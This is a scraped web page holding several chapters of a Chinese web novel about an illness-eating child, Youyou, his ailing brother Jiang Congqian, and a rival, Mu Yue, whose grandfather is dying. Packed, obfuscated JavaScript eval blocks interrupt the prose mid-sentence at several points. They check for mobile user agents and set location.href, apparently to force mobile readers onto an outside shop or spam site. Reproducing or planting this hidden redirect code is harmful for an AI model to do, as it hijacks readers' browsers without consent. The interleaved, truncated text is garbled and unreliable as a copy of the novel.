d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921570|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是因为疼痛的程度已经超过了身体承受的阈值,所以身体出现感知剥离,其实反而是身体深度损伤的征兆。 视力模糊、耳鸣和幻觉也都是由此引发的。 可你看起来完全不是这么回事啊! 这精神奕奕的样子,哪有一点病入膏肓的模样! 乐清沅只能小心翼翼地提醒:“或许不是加重呢?” 江从谦却断然否决:“不可能!” 为了在有限的时间内安排好又又的一切事务,他几乎是不计代价地使用异能。 以前有节制地使用,尚且没法阻止病情恶化,何况现在这样? 说实话,乐清沅也觉得不可能。 他已经研究异能崩坏症很多年了,对这个病了解极深。 从这个病被发现至今,几乎没出现过好转的病例,只在于异能崩坏速度的快慢而已。 可江从谦的症状又实在可疑。 乐清沅也只能让他尽快回来做检查。 - 又又睡到第二天中午才终于醒来。 睁开眼睛就看到哥哥担忧地看着他:“又又醒了?有哪里不舒服吗?” 又又的作息还是很稳定的。 但江从谦今早却一直没见他起床,去他的房间找他,发现他呼呼大睡,而且怎么都叫不醒。 要不是身体检测数据却没有任何问题,江从谦只怕马上要带着他去医院了。 又又顿时有点心虚。 他是昨天不小心贪吃了点,但小幼崽的消化能力不够,没消化的病症就会外显。 哥哥的病症就是嗜睡。 如果吃得再多一点,就会像之前在走私舰上那样,直接陷入昏迷。 江从谦见小幼崽低着头,心肠又软了下来:“哥哥不是怪你,只是你有哪里不舒服一定要告诉哥哥,不然哥哥会担心的。” 又又懵懂地看着他。 却是记住了哥哥会担心的。 他暗暗决定,以后吃病症的时候,一定不能吃太多了。 如果实在太好吃的话,那……那也只多吃一捏捏。 “我知道了,哥哥。”又又软乎乎地环住哥哥的脖子。 江从谦揉了揉他的额发,亲自喂他吃完早饭,又把他送到了和洛恩见面的地点。 “要是不舒服,或者有谁欺负你,一定要告诉哥哥。”江从谦仔细叮嘱了一番,又留了两个护卫给他,这才依依不舍地离开。 他一走,又又才松了口气:“唉,哥哥真是太粘人了。” 洛恩:“……” “对了。”洛恩将又又拉到一边,难掩兴奋道,“我有个好消息要跟你说。” 又又疑惑地看着他。 洛恩神神秘秘地压低声音:“我最近异能波动一直很稳定,罗德尼医生说,我的病很有可能好了!” 又又:“哦。” “你怎么一点都不惊讶啊?”洛恩有点泄气,罗德尼医生告诉自己这件事的时候,他好久都没能回过神呢。 又又眨了眨眼睛:“我早就知道你的病会好的呀!” 洛恩愣住。 的确,又又刚和他认识的时候,就一直很肯定地说他的病会好的。 只是他以为这只是又又安慰他而已。 难道,又又有什么预知异能? 可还没等他问出口,有几个男人朝他们走来。 为首之人虽然彬彬有礼,却难掩眸底的高傲,他看向洛恩:“洛恩少爷,我们来接你回家。” 8. 第 8 章 沃克微微抬起头,等着洛恩感激涕零地跟他离开。 在他看来,这趟工作简直没有一点难度。 他们一来,这位小少爷肯定哭着喊着要跟他们回去。 可他没想到,洛恩不为所动,甚至还有些冷淡:“你们是谁?” 沃克皱起眉头,洛恩的举动实在有些出乎他的意料。 他难道不该每天都盼着家族来接他回去吗?怎么一点激动的样子都没有? “洛恩少爷难道没见过我吗?我是菲尔特先生的特别助理沃克·麦尔。”他特意把“菲尔特先生”几个字加重语气。 菲尔特·法雷佐是家族中仅次于族长的二号人物,算起来是洛恩的堂叔。 谁知洛恩表情却更冷了:“没见过。” 沃克脸色瞬间变了:“你这是什么意思?” “没什么意思。”洛恩收回目光,“我不会跟你们回去的。” 沃克快气笑了。 叫他一声少爷,他还真以为自己是从前那个家族宠儿呢? 对于这种家族弃子,让他回去那是给他恩赐! 要不是菲尔特先生看到他的检查报告,以为他病好了,对家族还有点用处,怎么可能会派他们来接他。 谁都知道,异能失控症根本不可能好,他也就是这段时间异能波动平稳,说不定什么时候就会再犯。 他不再掩饰自己的不耐烦:“洛恩少爷,不要玩这种欲擒故纵的小把戏了,万一惹恼了菲尔特先生,你会后悔的。” 洛恩已经懒得理他们了,拉着又又就要离开。 沃克愣住了。 等洛恩他们走出一段距离,才气急败坏道:“站住!” 见洛恩却理都没理他,沃克脸色一沉:“你们两个,把人带回来!” 他身后两名护卫立刻上前来,要强行推走洛恩的轮椅。 又又连忙挡在洛恩前面:“你们是什么人?为什么要带走洛恩!” 沃克正满心不爽。 本以为是很简单的任务,谁知碰上洛恩这么个油盐不进的,当下没好气地推开又又:“哪来的小鬼,别碍事!” 洛恩眼疾手快地拦住他,恶狠狠地瞪着沃克:“不许你碰又又!” 他试图使用异能将他们吓走,可是穿着束缚服又戴着阻抑环的他,根本无法使出异能。 沃克冷笑道:“洛恩少爷,我劝你还是乖乖听话跟我回去,” 他伸手去抓洛恩,谁知却仿佛被什么电到一般,浑身抽搐摔在地上。 两个护卫模样的人已经将又又和洛恩保护在了身后。 他们是江从谦派来保护又又的护卫,发现不对劲,便立刻使用异能挡开了沃克。 沃克狼狈地被扶起来。 他的手掌现在还又麻又痛,当即又惊又怒:“你们是谁?!知不知道我是谁!” “知道啊!”又又认真地说道,“你刚刚不是说了自己的名字吗?刚说完就忘记了,难道你有健忘症?” 说到这里,他眼睛一亮。 也不知道健忘症好不好吃! “你这臭小鬼!”沃克却被他的话气得半死,想要揍他,却又顾忌着那两名有异能的护卫。 也不知道是哪来的乡下破落户,一点眼力见都没有。 沃克忿忿地想,阴恻恻地看着他们,“我可是法雷佐家族的人,你们阻挠我办事,是想跟法雷佐家族为敌吗?” “是吗?”一道冷静而威严的声音从他们身后传来。 不知道何时赶来的江从谦抬眼扫过他们,“那就试试看。” 沃克没好气地抬起头:“你又是什么东西……” 江从谦淡淡瞥了他一眼,他后背寒毛瞬间立起,剩下的那些话不知怎么就说不出口了。 沃克心底惊疑不定。 埃米尔星区不是个偏远贫瘠的乡下地方吗? 怎么会有这样的人物出现! 而且,这人的脸似乎有些眼熟…… 罗德尼原本今天休假,刚刚接到消息赶过来,看到眼前这一幕,险些晕过去。 他刚想叫住沃克,沃克却已经自作聪明地对江从谦道:“这位先生,这是我们法雷佐家族的家务事,与你无关,我劝你最好不要随意插手。” 江从谦根本就没搭理他,只是小心将又又抱起来:“吓到了没?” 又又摇摇头。 他还计划着要怎么偷偷去吃一口健忘症呢,他可没忘记哥哥管他严格,万一哥哥知道那人有健忘症,不许他靠近怎么办? 罗德尼这才找到机会,急忙朝江从谦道歉:“江先生对不起,沃克他有眼不识泰山,您不要跟他计较。” 沃克听到那个“江”字,顿时想起他为什么会觉得这张脸眼熟了。 江从谦!!! 九壤集团的首席执行官!江元帅的长子!以及中央联合商会的主|席! 他每想起一点,脸色就白一点。 到了最后,那张脸已经是惨白如纸,冷汗涔涔了。 他忍不住在心里抱怨。 这位大佬好端端的,不在中央星系待着,来这种穷乡僻壤做什么! 当然,现在说这些也没用了。 菲尔特先生要知道他得罪了江从谦,他就完了。 想到这里,他连忙扬起一个谄媚的笑容:“江先生,真是对不起,是我眼拙,没有认出您,您大人大量,千万别跟我们这种小人计较……” 江从谦淡淡道:“你要道歉的人是我吗?” 沃克一愣,随即反应过来,连忙给又又鞠躬:“江小少爷,是我错了,我和您道歉……” 又又却认真地纠正他:“你是不是记错人了,你要道歉的是洛恩才对,你的健忘症果然很严重。” 他有一点遗憾。 可惜哥哥在这里,不然他高低要尝尝才行。 沃克身体僵住,还是咬着牙跟洛恩道了歉,随即又讨好地看向江从谦:“江先生,我已经道了歉了,您看……” 江从谦懒得理会这种小人,抱着又又就要离开。 又又连忙拉上洛恩:“洛恩,我们一起走。” 没想到洛恩却并没有动。 又又疑惑地看着他:“洛恩?” 洛恩抿紧了嘴唇。 他亲眼看着,先前趾高气昂的沃克现在卑微地跟江从谦道歉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921571|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他想要保护又又,却连异能都用不出来,而江从谦却只需要一个眼神。 这让他整个人都消沉下来。 原本病愈的喜悦也渐渐消失了。 他牵着又又走到一旁,犹豫了一会才问道:“又又,你……是不是要跟你哥哥回去了?” 又又点点头:“嗯。” 洛恩的病好了,他也就没有留在这里的必要了。 洛恩瞬间就不说话了。 对于又又来说,吃掉病人的病症后,就和病人分开,这是很正常的。 可是看着洛恩的神情,他忽然涌起了一股不舍,紧紧地抓着洛恩的手:“洛恩哥哥,你跟我们一起回去吧。健忘症对你那么凶,你回去会被他欺负的!” 洛恩看着又又皱着小眉头,努力劝说的样子,忍不住笑了起来。 这一刻,他彻底下定了决心。 他摸了摸又又的头发:“不,我要回去。” 现在的他弱小无能,什么都不能做。 他不想要这样,他想像江从谦那样保护又又,成为又又的后盾。 又又瞪大了眼睛。 洛恩将那个星球模型拿出来,上面的裂痕已经被他彻底修补好了。 他将这个礼物放到又又的掌心:“又又,等再见的时候,我带你去洛伊提斯看星环好吗?” - 又又憋着嘴,看着罗德尼医生将洛恩的轮椅推走。 病人病好了就会离开,这明明是很正常的。 可他为什么会觉得那么难受呢? 江从谦轻叹一口气,摸了摸又又的额发:“又又,难受就哭吧。” 又又摇头。 洛恩的病好了,他应该为他高兴才对。 他仰着头看着江从谦,犹豫着问道:“哥哥以后也会像洛恩那样离开吗?” 江从谦一怔,心脏瞬间酸软下来。 他蹲下|身,扶着又又的肩膀,认真地说:“不会的。洛恩是朋友,但哥哥是亲人,亲人会永远在一起的。” 亲人…… 又又在心底咀嚼着这个词汇,小脸总算重新扬起了笑,用力地点点头:“嗯!” 江从谦又摸了摸他的头,见他鞋带开了,顺手就给系上。 谁知他系鞋带的时候,却察觉到又又的小腿上有一点脏。 他本想用纸巾擦掉,可捋起裤子,才发现这并不是脏污,还是一大片淤青。 江从谦的神色瞬间变了:“你受伤了?什么时候伤到的?疼不疼?” 伤? 又又低头看了眼,这才恍然想起来。 昨晚晕乎乎的时候,好像碰到了助理哥哥。 助理哥哥似乎是受伤了,他就没忍住也吃掉了。 食病兽在没消化病症的时候,症状就会外显。 比如哥哥的病没消化就是嗜睡,而助理哥哥的是外伤,就是这样一块淤青。 虽然外显,但其实并不疼,只是看着有些吓人罢了。 又又眼神飘忽:“哥哥,我没事的,不疼……” “不疼?” 江从谦皱起眉头。 这么重的伤势,怎么可能不疼! 9. 第 9 章 江从谦立刻抱着又又去医疗中心检查。 他小心翼翼的,就怕再次碰到伤口。 又又只能再次强调:“哥哥,我真的不疼。” 再等一会,他消化完,这点淤青就会消失的。 江从谦却以为弟弟只是在安慰他,心疼地摸了摸他的小脸,没有说话。 这时,莫伦医生把检查结果拿了过来。 江从谦立刻站起来迎上去:“又又伤得严重吗?” 莫伦摇摇头:“又又身体一切正常,骨头、肌肉都没有问题。” 又又本以为知道结果后,哥哥会放心,谁知他脸色更差了。 “可是又又说他不疼……”江从谦神情凝重,“这么大块淤青都不疼,难道是更严重的病?” 又又:……? 莫伦也有些疑惑,可又又的检查报告又健康得很。 他只能安慰江从谦:“可能又又对疼痛不那么敏感?” 之前将又又从走私舰上解救下来的时候,他满身伤痕,后续治疗的时候,也没有听他喊过一句痛。 江从谦又说道:“不止这个,今早又又也是一直昏睡,直到中午才醒来。” 莫伦迟疑道:“可能是昨天玩得太累了?” “无缘无故的昏睡,身体出现大片不明淤青,疼痛不敏感……”江从谦越说脸色越难看,“是我疏忽了,又又在星舰上受了那么久的苦,表面看着好好的,但万一有什么暗伤呢?” 又又:??? 江从谦的语气太笃定,搞得莫伦都有些不自信了:“这……埃米尔星区的医疗资源有些薄弱,要不还是带又又回中央星系再好好检查一番吧。” 江从谦:“没错,我现在就联系医院。” 又又听不下去了:“哥哥,我真的没病!” 江从谦已经使用异能在脑中检索这些症状对应的病症,越查脸色就越苍白,抱着弟弟的手都有些颤抖。 他没有犹豫,立刻联系乐清沅,然后带着又又便坐上星舰赶回去。 - 经过十天的星际航行,他们总算抵达了中央星系。 又又趴在舷窗上,好奇地看着刚刚穿过的,如同紫水晶般的星云漩涡。 比起偏僻的乌姆星系,中央星系明显要繁华许多。 无数星球如珍珠般缀在宇宙中,星舰驶过时,扬起一片星尘碎屑,反射出幽冷的蓝光。 等到星舰进入蔚蓝星区后,又又更是睁大了眼睛。 蔚蓝星区一共由三颗宜居星球、两颗资源星以及两颗军事星组成。 江从谦直接就带着又又来到乐清沅所在医院的方载星。 从飞行器上跳下去后,江从谦便抱着又又直接冲到了乐清沅所在的诊室。 乐清沅一眼就看到被江从谦抱在怀中的小可爱。 栗色卷发柔软蓬松,泛着蜜糖色的光泽。 眼睛圆圆的,像是小松鼠,翡翠绿般的眸子清澈纯稚,长长的睫毛像小扇子似的,将阳光分割成细碎的光点洒落在眸中。 笑起来甜甜的,看得人心肠都软了。 “这是你弟弟?亲的?”乐清沅不可置信地问。 不怪他怀疑。 弟弟这么可爱,跟江从谦这大冰块简直没有一点相似之处。 江从谦冷冷道:“我找你是为了你的医术,不是你的废话。” “好好好。”乐清沅耸耸肩,微微弯腰看向又又,露出最温和的笑容,“你叫又又是吗?你可以叫我清沅哥哥。” 又又乖乖地喊道:“清沅哥哥。” “哎!”乐清沅被这小奶音萌得心肝颤,“又又喜欢什么颜色的麻袋……不是……” 又又:? “没有没有,我乱说的。”乐清沅被江从谦瞪了一眼,老实地缩起脖子。 可恶啊! 江从谦何德何能有这么可爱的弟弟!! 乐清沅一边腹诽,一边麻利地开始给又又检查。 他虽然看着有点不着调,但在本职工作上却很严谨。 江从谦还在星舰上时,就已经和他沟通了又又的症状。 但乐清沅并不能因此判断,他还是倾向于先见到病人本身。 可是看到又又后,他却迷茫了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921572|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >因为无论哪项检查结果,又又都没有半点问题,健康得惊人。 “真的没问题?”江从谦再三确认。 乐清沅翻了个白眼:“绝对没问题!又又宝贝健康着呢!” 又又也跟着连连点头。 就是就是。 江从谦放下了心,准备带着又又回家。 “等等。”乐清沅连忙叫住他。 江从谦心头一紧:“是又又还有什么问题吗?” “不是又又,是你!”乐清沅可没忘记,江从谦之前说出现幻觉的事情,“既然来了,你也一并检查了吧。” 江从谦皱起眉,让助理将又又抱去休息室等他。 等到又又离开,他才对乐清沅道:“我得病的事情,不要告诉又又。” 他想起又又问他,会不会像洛恩那样离开。 又又是个很重情却又很没有安全感的孩子。 江从谦很怕他知道后会难过。 自从知道自己得病后,江从谦一直很坦然地面对生死。 可有了又又之后,他却开始恐惧死亡。 乐清沅叹了口气,答应了他。 江从谦这些年做了不知多少次这样的检查,程序熟稔得很,很快就把一系列的检查做完了。 乐清沅让他先去休息,自己则去实验室拿结果。 其实这次见到江从谦,他的状态比乐清沅想象中的还要好,并不像他说的,是什么回光返照。 乐清沅满腹心事地走进实验室,对江从谦的检查结果进行实验、分析。 然而,他越看神情就越震惊。 异能崩坏度74%!!! 乐清沅忍不住揉了揉眼睛。 没错,还是74%! 比上次江从谦来检查,足足减少了5%! 这……这怎么可能! 难道是检查结果有误? 他连忙又重新实验一次,结果出来,仍旧是74%。 乐清沅怔怔地看着手中的结果,许久回不过神。 江从谦……好转了? 异能崩坏症……能治愈?!! 10. 第 10 章 江从谦整理好衣服,却并没有去休息室找又又他们。 他虽然不知道这次检查结果怎么样,但乐清沅之前也说过,他这个病,最多也就还有两年。 他最多……也就能陪又又两年。 他必须在那之前,给又又找到可靠的监护人。 他看着通讯器中的名字,犹豫了一下,还是选择了妹妹江昭晏。 只是拨过去,仍旧是冷冰冰的语音留言。 江从谦不由得皱起眉头。 他记得妹妹这次的任务是例行巡航,按理早该结束返航了的。 江从谦作为大哥,习惯性地将照顾弟弟妹妹当成了自己的责任。 虽说弟弟妹妹搬离元帅府后,与他的联系越来越少。 但他还是会时刻关注他们的消息。 江昭晏在军中,很多信息都是保密的。 以往也不是没有长时间执行任务的情况。 可这次,江从谦却隐约地感觉到了一丝不安。 江从谦关掉妹妹的通讯界面,转而联系上了她的上级,请对方转告妹妹,他有急事找她。 等他做完这一切,就看到乐清沅神情恍惚地走过来,手里还拿着他的检查报告。 江从谦心中一沉。 他的病竟然严重到了这种地步吗? 乐清沅走上前,还没开口。 江从谦便沉声道:“你直说吧,我能承受得住。” 乐清沅愣了片刻才反应过来,哭笑不得道:“你在瞎想什么?你的病没有恶化,相反,异能崩坏度还降低了5%!” 这下轮到江从谦愣住了:“……降低?” “是啊。”乐清沅把检查报告拿给他看。 江从谦虽然知道乐清沅不会拿这种事开玩笑,却也是亲眼看到上面的数据,才真正相信了他的话。 一时间头脑空白,过了许久,才声音艰涩地问道:“我记得你说过……异能崩坏症无法被治愈?” “没错。”乐清沅眼睛发亮,声音都在颤抖,“从异能崩坏症被发现那天至今,没有一例病例治愈,或者更准确地说,从未有过异能崩坏度降低的情况!” “——你是唯一一例!” 如果不是他亲手给江从谦做的检查,所有的实验结果也都是他经手的,他根本就不相信,这简直就是天方夜谭。 “你知道这意味着什么吗!!” 江从谦怔怔地看着手中的报告,心脏急促地跳动着,一下一下的,清晰地撞在耳膜上,连带着胸腔似乎都有些发疼。 他张了张嘴,却是喉咙发紧,几乎说不出话来。 乐清沅喘了口气,勉强让自己冷静下来:“虽然不敢说能治愈,但能减缓异能的崩坏已是难能可贵了,如果能找出原因的话,有朝一日,说不定真的可以治愈……” 说到最后一句话时,他的声音都不自觉地放轻了,仿佛怕惊扰了这场美梦般。 此时的江从谦已经慢慢冷静下来,敏锐的思维重新回归,一下就抓住了乐清沅话语中的关键:“你不知道什么原因?” 说到这个,乐清沅又变得沮丧起来:“你的其他数据和之前并没有太多差别,只有异能崩坏度有变化……按常理来说,这根本是不可能的!我也就无法推测到底是什么引发了异能崩坏度的改变。” 江从谦皱起眉,若有所思。 “所以——”乐清沅目光灼灼地看着他,“你这段时间到底发生了什么?我们来一件件分析,说不定能找到什么关键线索!” 江从谦便将他去埃米尔星区的过程都说了一遍,顿了顿,但到底也没有隐瞒自己无节制使用异能的事情。 乐清沅听完他这一路的作死行径,一口气差点没上来:“你……” “算了,先放你一马。”乐清沅忿忿地记录,准备找出线索后,再跟江从谦秋后算账。 可江从谦这一路的经历并没有什么特别的。 “星舰上的东西都是你常用的,没什么特别。” “莫非是埃米尔星区的环境影响?也不可能,如果真的有关系,肯定早就被发现了……” …… 乐清沅找了一堆原因,可又被自己一一推翻,最终只能归结于江从谦找到了弟弟,心情好,连带着异能也受到影响。 “情绪影响异能这是有研究证明的,比方说异能失控症、异能失衡症啊之类的病症,都有相应的情绪疗法。” 乐清沅侃侃而谈,“倒是异能崩坏症,此前虽然没有相关的病例,但我实在是找不到其他可能性了……” 江从谦勉强接受了这个答案。 乐清沅却是摩拳擦掌:“接下来我会调整一下治疗方案,同时增加你复查的频率,看能不能确认你异能崩坏度降低的原因……” 他心头火热。 异能崩坏症又叫活着的绝症,患病人数并不算少,发病也没有规律。 只要确诊,就意味着漫长的治疗期,要一辈子和痛苦作斗争,不仅使用异能受影响,连生活质量也会受限,很多人根本坚持不到末期就选择自我了断。 如果能找出江从谦好转的原因,哪怕不具备普适性,对这个病的患者来说也是一剂强心针。 想到这里,他犹豫着对江从谦说道:“从谦,啊不……江哥!江执行官!我有一个小小的请求……” 江从谦挑了挑眉:“说吧。” 乐清沅轻咳一声:“我的老师你认识吧,他研究了一辈子异能崩坏症,毕生最大的心愿就是能够治愈这个病,你能……让他参与你的治疗吗?他对异能崩坏症的了解比我要深,说不定会更快找到好转的原因。” 江从谦没说话。 乐清沅的老师章康,章老是异能崩坏症研究领域的泰斗。 江从谦自然也认识他,当初为了自己的病,他还专门赞助过章老的研究。 只不过这样的行业大佬,受到的关注也不少。 原本江从谦还能借着与乐清沅的朋友关系,往来医院,进行投资,也不会被人怀疑。 可一旦章老参与治疗,只怕自己得病的事情就不那么好瞒住了。 虎视眈眈盯着他的人可不少,要是被他们知道这个消息,是绝不会放过这个“机会”的。 乐清沅也猜到了他的顾虑,连忙保证一定会替他守好秘密。 江从谦一番思索后,还是答应了。 乐清沅担心夜长梦多,连忙带着他去找老师。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921573|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 章老有专门的研究室,就在医院的最里面。 到了研究室的小楼前,乐清沅正要刷脸验证,门却忽然从里面打开了,一名男人走了出来。 来人身材高挑,黑发中泛着几缕青色,五官精致,有种不辨雌雄的美丽。 可偏偏神色锐利,看着就不太好惹。 江从谦看到他,眉头忍不住皱起。 慕越。 慕氏集团的现任执行官。 慕氏集团是由慕越的祖父慕疆一手创办。 三年前慕疆将执行官的位置交给慕越,但即便如此,他也并未退居二线。 慕越这人敏锐大胆,爱行险招,他在前方拼杀,而慕疆则坐镇后方,为他托底,成了整个慕氏集团的定海神针。 这对祖孙合作无间,将慕氏集团一力推到了如今的位置。 只是慕越这人性睚眦必报,似是一条潜伏在暗中的毒蛇,不知道什么时候就会突然窜出来咬人一口,很是危险。 那群虎视眈眈盯着江从谦的人里,如果要挑个最难缠的,必然是他无疑了。 “江先生,这么巧?”慕越唇角微勾,不紧不慢地走到江从谦面前,毫不客气地问道,“你是来找章老的?可是异能出了什么问题?” 江从谦面色不变,甚至还微微一笑:“慕先生,好久不见。” 慕越眯了眯眼,没能从他的态度中看出丝毫端倪。 这人还是和之前一样让人讨厌。 慕越唇角噙着几分玩味,声音散漫:“近来江先生似乎很忙碌啊,前几天奥尔顿先生的宴会都没见你出席,看来你是已有把握拿下晶髓矿星了?” 从找到又又开始,江从谦的全部心思就全扑在了弟弟身上,事业上的确疏忽了不少。 面对慕越的试探,他只是淡然地四两拨千斤:“慕先生不必着急,谈判桌上自会见分晓。” 谁知慕越却笑起来:“哎呀,我记错了,奥尔顿先生的宴会是三天后,看来江先生最近的确是分|身乏术啊!” 江从谦猝不及防,被他摆了一道。 脸上飞快地闪过一丝不悦:“慕先生有空关注我,倒不如多在自身下下功夫。” 慕越占了上风,也不在意他这番阴阳。 两人错身而过,江从谦却像是忽然想起了什么,侧头低声道:“对了,替我向慕老先生问好。” 慕越瞳孔微缩。 虽然他很快就恢复了过来,但这短短一瞬已经让江从谦捕捉到了足够的信息。 他们俩同时出现在这里。 慕越会猜测他的异能出现问题,他也自然有同样的猜测,不是慕越,便极有可能是他的祖父慕疆。 虽然被慕越摆了一道,但他也将计就计,趁着慕越志得意满时试探。 果然试探了出来。 面对慕越泛青的脸色,他扬唇一笑:“慕先生,回见。” 等到他彻底离开后,慕越脸色瞬间沉了下来。 他脚下的草地发出簌簌的响动,原本短短的茸草瞬间暴长到了膝盖的位置。 慕越一脚踏了上去,冷声吩咐下属:“去查查,最近江从谦到底在忙什么,还有,查查他的异能是不是出了问题。” 11. 第 11 章 直到进入疗养区,慕越阴沉的表情才缓和下来。 为了防止爷爷的病泄露消息,慕越将整个疗养区都包了下来,把保密措施做到了极致。 疗养区内有完备的检查仪器和治疗室,还有专门的医护人员全天候照顾。 不过慕越走进爷爷的病房,却看见爷爷肃着脸在听助理汇报。 “爷爷!”慕越连忙走进来,“您怎么又在处理公事,医生不是说不让您劳神吗?” 慕疆老爷子轻咳一声,赶紧用眼神示意助理离开。 等到助理走后,他才在凑过来的慕越头上敲了个爆栗:“臭小子,你还管起你爷爷了!” 那动作看着大,其实敲在慕越头上时已经卸掉了七八分力气。 慕越摸了摸被敲到的地方,抱怨道:“我都二十五了,您还把我当孩子看!” “二十五怎么了?翅膀硬了想飞了?”慕疆冷哼一声,“等你三十五了四十五了,在爷爷跟前也是个小屁孩!” 慕越:“那可说好了!等我三十五四十五了,爷爷您还敲我脑壳!” 谁知慕疆听完,却顿了顿,问道:“章老说我还有多少日子?” 慕越身体一震,勉强露出一丝笑容:“爷爷您在说什么呢?” “你小子还想瞒我?”慕疆轻哼,“你爷爷我跃迁的次数比你坐飞行器还多!我自己的身体自己明白,异能崩坏症这病我早就了解过,从来没人治愈过,别说治愈了,就算是降低异能崩坏度都没有过。” 其实三年前慕疆就已经检查出这病了,只是孙儿当时刚接手慕氏,还需他在一旁保驾护航,故而一直拖到了如今。 “这都是命,你啊,不要强求了。” “我偏不!”慕越眼眶通红,眼底划过一丝狠戾,“我偏要强求!只要能治好你的病,让我做什么都行!” 看着孙儿那样子,慕疆叹了口气:“小越,你长大了。爷爷看了,你把公司管理得很好,往后爷爷不在了,慕氏交到你手里,我也放心了。” “我不好!”慕越咬着牙道,“我做事情胆大妄为,容易上头,得你一直看着我才行!” 慕越向来自傲,从不肯承认自己比不上别人。 但为了留住爷爷,他连自损都能说出口。 “胡说!”慕疆没好气地又敲了他一下,“我看你好得很!” 慕越抓着他的手,执拗地说:“爷爷,一定还有办法的。” 慕疆刚想说什么,却忽然感觉到了剧烈的疼痛。 皮肉和神经像是被烧红的钩子搅在一起,冷汗瞬间涌出,身体不受控地痉挛、颤抖。 慕越下意识去扶他,却被还存有一丝意识的慕疆挥开,他的手指紧紧地抠进床板,关节泛白,一片指甲因为过于用力而崩断,鲜血瞬间涌了出来。 可这与那几乎要吞噬他的痛楚相比,根本就算不得什么了。 与此同时,照顾他的医护人员瞬间冲了进来,训练有素地给他打针上药。 慕越站在角落,死死地握着拳头。 他记忆中的爷爷一直是无坚不摧的。 小时候,爷爷有次因为意外受了重伤,躺在医疗舱里,还隔着舱壁给他做鬼脸逗他笑。 他从来没有看过爷爷这样狼狈,这样痛苦。 他在心底暗暗发誓,一定会不惜代价治愈爷爷! - 江从谦跟着乐清沅见到章老,对方看完病例后,果然震惊不已。 只不过,章老暂时也没能分析出好转的原因。 江从谦有了心理准备,并不失望。 然而章老到底是研究这个病多年的权威,对于他来说,分析不出原因,也是线索。 他并不如乐清沅那么乐观。 “首先得要确认这是暂时性的降低,还是确实的好转。”章老缓缓说道,“异能崩坏症本就是异能源紊乱引发的病症,后期极有可能诱发新的并发症,虽然此前并没有出现过崩坏度降低的先例,但也不能不警惕这种可能……” 这话就像是一盆冷水,将乐清沅和江从谦泼了个透心凉。 但章老话锋一转:“可如果这种降低是稳定且持续的,这就证明江先生的病确实在好转,那么……” 说到这里,即便是章老这么一位德高望重的医学大拿,声音都忍不住发颤,“那么,就说明异能崩坏症真的有治愈的可能!” 虽然他知道这种可能性很微小,但还是无法克制自己内心的激动。 江从谦反倒冷静下来。 他意识到,不管是暂时降低,还是好转,这一切的变化都是从埃米尔星区开始的,他决定派人把那段时间所有相关事情都仔细调查一遍,或许能找到一些线索。 等到和章老商讨完,已经过去快一个小时了。 江从谦惦记着弟弟,便提出告辞。 走出小楼后,他轻舒了一口气。 哪怕理智已经将一切都分析清楚了,可骤然拥有希望又失去,还是令他不可避免地心情低落。 然而他还没低落多久,就听一旁的乐清沅说道:“那个……是又又吗?” 他抬起头,就看到弟弟牵着助理的手,在路边东张西望。 自从他接到又又后,这孩子就黏人的很。 因而,江从谦觉得,他应该是在休息室久等不到自己,所以就让助理带他出来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921574|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江从谦的心顿时一片酸软。 原本低落的情绪也烟消云散。 他顾不上乐清沅,加快步子朝他们走去。 又又原本是和助理在休息室等着的。 江从谦担心他等得无聊,不仅给他准备了小零食和水果,还有又又喜欢的游戏机。 然而又又玩了一会,馋虫就犯了。 这里可是医院诶! 不就是给食病兽准备的自助餐吗! 趁着哥哥这会不在,正应该出去爽吃一番! 在又又软磨硬泡之下,助理只得答应陪他出去走走。 